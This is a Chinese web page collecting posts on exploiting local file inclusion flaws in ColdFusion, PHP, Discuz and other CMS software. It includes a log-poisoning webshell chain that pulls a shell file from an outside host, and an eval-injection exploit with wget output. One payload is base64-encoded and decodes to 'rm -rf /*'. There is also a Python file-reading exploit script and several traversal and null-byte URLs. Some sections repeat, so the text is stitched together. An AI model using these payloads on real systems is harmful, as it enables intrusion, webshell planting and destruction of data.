下面就是小编给大家带来的cfm本地包含漏洞利用(共含9篇),希望大家喜欢阅读!同时,但愿您也能像本文投稿人“春天溪流”一样,积极向本站投稿分享好文章。
1.读取metabase.xml/web.xml /password.properities敏感文件,得知www路径,coldfusion路径,coldfusion后台加密密码
2.本地包含coldfusion日志,写cfm一句话,得到WEBSHELL
/index.cfm?action=../../../../../../../../../../CFusionMX7/logs/application.log%00
/index.cfm?action=
/index.cfm?action=......CFusionMX7logsapplication.log%00&u=www.pentest.cc/shell.txt&p=c:inetpubwwwroot&f=shell.cfm
成功条件:
1.WEB目录可写
2.coldfusion目录和web目录在同一个分区
3.多个牛人的群策群力
未解决的问题:
1.iis的日志会把空格变成+,不知道怎么绕过
2.coldfusion会把单引号和双引号加倍处理,不知道怎么绕过去(师傅也遇到这个问题了,哈哈)
摘自 mickey's blog
0×00 题外话
嘿嘿 希望大家多多探讨技术,
0×01 PHP Input/Ouput Wrapper 远程包含函数执行命令
详细:PHP 的include函数存在设计缺陷,远程攻击者可以利用这个漏洞可能以WEB 权限执行任意命令。
PHP 的一个设计错误,当URI 数据作为’include()’函数的一个参数时,攻击者可以提交POST PHP 命令来执行。此问题影响PHP 自身模块,虽然问题只有当应用程序使用用户提供的URI 数据作为 ‘include()’函数时才发生,
成功利用此漏洞可以WEB 权限执行任意命令。
经测试受影响系统:PHP Version 5.2 及PHP Version 5.0 以下版本
经测试不受影响系统:PHP Version 5.3 及以上版本。
直接上用Burp Suite 的测试图:
0×02 PHP Filter/远程包含函读取文件代码
摘自: FreebuF.COM
影响程序: php-chart_v1.0
程序官方: php-charts.com/
缺陷类型: PHP Code Execution.
===============================================================
测试平台系统: Debian squeeze 6.0.6
服务器软件版本: Apache/2.2.16 (Debian)
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 20:08:59)
Copyright (c) - The PHP Group
Zend Engine v2.3.0, Copyright (c) - Zend Technologies
with Suhosin v0.9.32.1, Copyright (c) -2010, by SektionEins GmbH
================================================================
关于程序介绍:
Php-Charts is basically a class which can be used to generate
different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML)
using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,
user defined data).
================================================================
缺陷分析
root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php
require(“../lib/phpchart.class.php”);
$color_var=array(“txt_col”,“line_col”,“bg_color”);
$cname=$_GET[“type”];
$chart=new PHPChart($cname);
foreach($_GET as $key=>$value)
{
if($value!=“”)
{
if(in_array($key,$color_var))
eval('$chart->'.$key.'=“#'.$value.'”;');
else if($value=='yes')
eval('$chart->'.$key.'=true;');
else if($value=='no')
eval('$chart->'.$key.'=false;');
else if(is_numeric($value))
eval('$chart->'.$key.'='.$value.';');
else
eval('$chart->'.$key.“='”.$value.“';”);
}
}
$chart->genChart();
利用:
root@debian:/tmp# wget ' www.myhack58.com //wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt
---01-15 21:19:16-- hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY
Resolving hacker1.own... 127.0.0.1
Connecting to hacker1.own|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: “out.txt”
[ <=> ] 1,917 --.-K/s in 0s
2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]
Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4
array(28) {
[“DOCUMENT_ROOT”]=>
string(28) “/etc/apache2/htdocs/hacker1/”
[“GATEWAY_INTERFACE”]=>
string(7) “CGI/1.1”
[“HTTP_ACCEPT”]=>
string(3) “*/*”
[“HTTP_CLIENT_IP”]=>
string(9) “127.0.0.1”
[“HTTP_HOST”]=>
string(11) “hacker1.own”
[“HTTP_USER_AGENT”]=>
string(21) “Wget/1.12 (linux-gnu)”
[“HTTP_VIA”]=>
string(77) “http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)”
[“HTTP_X_FORWARDED_FOR”]=>
string(9) “127.0.0.1”
[“PATH”]=>
string(4) “/bin”
[“PHPRC”]=>
string(14) “/etc/php5/cgi/”
[“QUERY_STRING”]=>
string(45) “$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY”
[“REDIRECT_STATUS”]=>
string(3) “200”
[“REMOTE_ADDR”]=>
string(9) “127.0.0.1”
[“REMOTE_PORT”]=>
string(5) “60830”
[“REQUEST_METHOD”]=>
string(3) “GET”
[“REQUEST_URI”]=>
string(76) “/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY”
[“SCRIPT_FILENAME”]=>
string(57) “/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php”
[“SCRIPT_NAME”]=>
string(30) “/wp/chart/chart/wizard/url.php”
[“SERVER_ADDR”]=>
string(9) “127.0.0.1”
[“SERVER_ADMIN”]=>
string(21) “webmaster@hacker1.own”
[“SERVER_NAME”]=>
string(11) “hacker1.own”
[“SERVER_PORT”]=>
string(2) “80”
[“SERVER_PROTOCOL”]=>
string(8) “HTTP/1.1”
[“SERVER_SIGNATURE”]=>
string(0) “”
[“SERVER_SOFTWARE”]=>
string(6) “Apache”
[“UNIQUE_ID”]=>
string(24) “UPYOJH8AAQEAAE8eNfMAAAAC”
[“PHP_SELF”]=>
string(30) “/wp/chart/chart/wizard/url.php”
[“REQUEST_TIME”]=>
int(1358302756)
}
Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
root@debian:/tmp#
Example 2:
hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL
=====================ENDS HERE============================
因为他是base64编码的手工测试很麻烦就写了个小工具,高手飘过
import urllib2,sys
import httplib
import base64,time
if len(sys.argv) <= 2:
print “=” * 30
print “mobile9.com local exploit by cnb|rd Qq:441303228”
print “Email:Linuxrootkit@gmail.com”
print “=” * 30
print “usage: ” + sys.argv[0] + “ hostname ” + “ local file ”
sys.exit(1)
host = sys.argv[1]
path = sys.argv[2]
file = sys.argv[3]
h = httplib.HTTP(host)
h.putrequest(“HEAD”, path)
h.putheader(“Host”, host)
h.endheaders
okresp, reason, headers = h.getreply()
print “=” * 30
print host + “ Server Banner is ” + headers.get(“Server”)
print “=” * 30
print “Local file to read is ” + file
time = int(time.time())
serverpath = “/download/content_delivery.php?key=”
str = str(file) + “|” + str(time) + “|”
print str
base64file = base64.urlsafe_b64encode(str)
requestpath = serverpath + base64file
print base64file
print requestpath
f = httplib.HTTPConnection(host)
f.request('GET', requestpath)
print f.getresponse().read()
f.close
CSDN博客cnbird2008
by Ryat
bbs.wolvez.org
respond.php 48行
$pay_code = !empty($_REQUEST['code']) ? trim($_REQUEST['code']) : '';
...
$plugin_file = ROOT_PATH . '/includes/payment/' . $pay_code . '.php';
if (is_file($plugin_file))
{
include_once($plugin_file);很明显的一个bug
利用的话可以参考flyh4t提到过[bbs.wolvez.org/topic/56/]的一个思路:
可以通过旁注拿个shell,然后写个main.php到/tmp目录下,然后包含之
DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存,
config_global.php
$_config['cache']['type'] = 'file';
function cachedata($cachenames) {
......
$isfilecache = getglobal('config/cache/type') == 'file';
......
if($isfilecache) {
$lostcaches = array;
foreach($cachenames as $cachename) {
if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {
$lostcaches[] = $cachename;
}
}
......
}
地址:
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
Authracation has expiried
执行了 api/uc.php 页面代码了,
作者: Jannock
这是这套CMS ,这个很简洁,。。
这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”);
接下来往下看
这里的$sdir 没有经过任何过滤来的,然后看下这个import函数
这里直接包含了该文件
require($sfilename);所以结合前面的
$GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”
$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的
这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞,
然后这里要保证魔术常量是关闭的。
下图就是成功包含的图
Exp:
localhost/test/index.php?c=../uploads//06/1.gif%00&a=type&tid=1
DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存, config_global.php $_config['cache']['type'] = ‘file’; function cachedata($cachenames) { …… $isfilecache = getglobal(‘config/cache/
DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。
config_global.php
$_config['cache']['type'] = ‘file’;
function cachedata($cachenames) {
……
$isfilecache = getglobal(‘config/cache/type’) == ‘file’;
……
if($isfilecache) {
$lostcaches = array;
foreach($cachenames as $cachename) {
if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) {
$lostcaches[] = $cachename;
}
}
……
}
地址:
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried
执行了 api/uc.php 页面代码了,
作者: Jannock
by Ryat
www.wolvez.org
2008-2-22
引用:
本地文件包含漏洞是PHP中比较常见的漏洞,像下面的代码:
include(inc/.$_GET[a]./global.php);
这是个典型的文件包含漏洞,但要想包含任意文件的话需要引入NULL字符截断后面的/global.php,但在gpc为on的情况下null是会被转义的,这往往成了本地文件包含漏洞利用的束缚(在一些特定的情况下也可以用其他方法截断后面的代码,见:html“>www.wolvez.org/forum/thread-55-1-1.html)
其实文件包含分为include()和 require()两种,先看下手册中对这两种方式区别的描述:
这两种结构除了在如何处理失败之外完全一样,include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行
手册中对两种方式的区别说的很清楚,而include()的这种对待包含失败的处理方式有时会给我们在利用本地文件包含漏洞上提供一些其他的思路,看下下面的代码片断:
...
if (!empty($_COOKIE[”userlanguage“]) && file_exists(”lang/“ . basename($_COOKIE[”userlanguage“]) . ”/global.php“)) $language = $_COOKIE[”userlanguage“];
...
include_once(”lang/$language/index.php“);
...
$template = preg_replace(”/{langs+(.+?)}/ies“, ”languagevar(1)“, $template);
...
fwrite($fp, $template);
...
function languagevar($var) {
if(isset($GLOBALS[lang][$var])) {
return $GLOBALS[lang][$var];
} else {
return ”!$var!“;
}
}
...
简单说下代码的处理流程,程序根据浏览者选择的语言把相应的$lang写进模板缓存,当浏览者访问时直接访问模板缓存,
而这里可以通过$_COOKIE[”userlanguage“]触发本地文件包含漏洞,这样提交:
../../[file][null char]/eng
通过basename()返回eng,而/lang/eng/global.php是存在的,绕过了file_exists()的检查,成功触发了本地文件包含漏洞,但这里需要GPC为OFF,因为要引入NULL字符截断后面的字符串。貌似利用很困难,但我们可以转换下思路,这里include_once()正确包含的话会包含语言文件,语言文件里面定义了$lang,这里是关键了,我们只要随便提交$_COOKIE[”userlanguage"],使include_once()无法正确包含,而前面提到include()即使包含失败,脚本依旧会向下执行,这样没有包含语言文件,$lang就是没有初始化的了,那么在register_globals为on或用了extract()的情况下,我们就可以自行提交$lang了,然后通过fwrite()写入了缓存文件:)
其实这个思路就是把include()本地文件包含漏洞转化为其他漏洞,是个典型的二次攻击:)
★ FreeBSD I386SetLDT多个本地拒绝服务漏洞
★ udev漏洞提升
★ 漏洞整改报告